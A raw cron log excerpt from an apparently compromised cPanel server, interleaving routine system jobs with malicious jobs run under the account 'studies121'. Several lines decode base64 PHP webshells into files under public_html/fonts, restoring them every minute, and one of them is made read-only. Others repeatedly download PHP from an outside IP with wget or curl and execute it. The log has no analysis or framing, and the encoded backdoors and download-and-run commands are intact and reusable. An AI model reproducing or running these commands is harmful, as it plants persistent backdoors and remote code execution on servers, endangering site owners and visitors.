Sep  1 13:51:01 ip-184-168-122-23 CROND[3260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:51:01 ip-184-168-122-23 CROND[3261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:51:01 ip-184-168-122-23 CROND[3264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:51:01 ip-184-168-122-23 CROND[3265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:52:01 ip-184-168-122-23 CROND[3355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:52:01 ip-184-168-122-23 CROND[3359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:52:01 ip-184-168-122-23 CROND[3357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:52:01 ip-184-168-122-23 CROND[3358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:52:01 ip-184-168-122-23 CROND[3360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:53:01 ip-184-168-122-23 CROND[3443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:53:01 ip-184-168-122-23 CROND[3446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:53:01 ip-184-168-122-23 CROND[3447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:53:01 ip-184-168-122-23 CROND[3448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:54:01 ip-184-168-122-23 CROND[3519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:54:01 ip-184-168-122-23 CROND[3521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:54:01 ip-184-168-122-23 CROND[3523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:54:01 ip-184-168-122-23 CROND[3524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:54:01 ip-184-168-122-23 CROND[3522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:55:01 ip-184-168-122-23 CROND[3705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:55:01 ip-184-168-122-23 CROND[3710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:55:01 ip-184-168-122-23 CROND[3708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:55:01 ip-184-168-122-23 CROND[3709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:55:01 ip-184-168-122-23 CROND[3707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:55:01 ip-184-168-122-23 CROND[3711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:56:02 ip-184-168-122-23 CROND[3800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:56:02 ip-184-168-122-23 CROND[3803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:56:02 ip-184-168-122-23 CROND[3802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:56:02 ip-184-168-122-23 CROND[3804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:56:02 ip-184-168-122-23 CROND[3805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:57:01 ip-184-168-122-23 CROND[3894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:57:01 ip-184-168-122-23 CROND[3893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:57:01 ip-184-168-122-23 CROND[3895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:57:01 ip-184-168-122-23 CROND[3896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:58:01 ip-184-168-122-23 CROND[3982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:58:01 ip-184-168-122-23 CROND[3981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:58:01 ip-184-168-122-23 CROND[3983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:58:01 ip-184-168-122-23 CROND[3984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:58:01 ip-184-168-122-23 CROND[3987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:59:01 ip-184-168-122-23 CROND[4082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:59:01 ip-184-168-122-23 CROND[4084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:59:01 ip-184-168-122-23 CROND[4083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:59:01 ip-184-168-122-23 CROND[4085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:00:01 ip-184-168-122-23 CROND[4208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:00:01 ip-184-168-122-23 CROND[4211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:00:01 ip-184-168-122-23 CROND[4212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:00:01 ip-184-168-122-23 CROND[4216]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 14:00:01 ip-184-168-122-23 CROND[4217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:00:01 ip-184-168-122-23 CROND[4213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:00:01 ip-184-168-122-23 CROND[4215]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:00:01 ip-184-168-122-23 CROND[4218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:00:01 ip-184-168-122-23 CROND[4214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:01:02 ip-184-168-122-23 CROND[4390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:01:02 ip-184-168-122-23 CROND[4393]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 14:01:02 ip-184-168-122-23 CROND[4392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:01:02 ip-184-168-122-23 CROND[4396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:01:02 ip-184-168-122-23 CROND[4394]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 14:01:02 ip-184-168-122-23 CROND[4398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4393]: starting 0anacron
Sep  1 14:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[4411]: finished 0anacron
Sep  1 14:02:01 ip-184-168-122-23 CROND[4488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:02:01 ip-184-168-122-23 CROND[4492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:02:01 ip-184-168-122-23 CROND[4491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:02:01 ip-184-168-122-23 CROND[4490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 14:02:01 ip-184-168-122-23 CROND[4493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 14:03:01 ip-184-168-122-23 CROND[4579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 14:03:01 ip-184-168-122-23 CROND[4582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
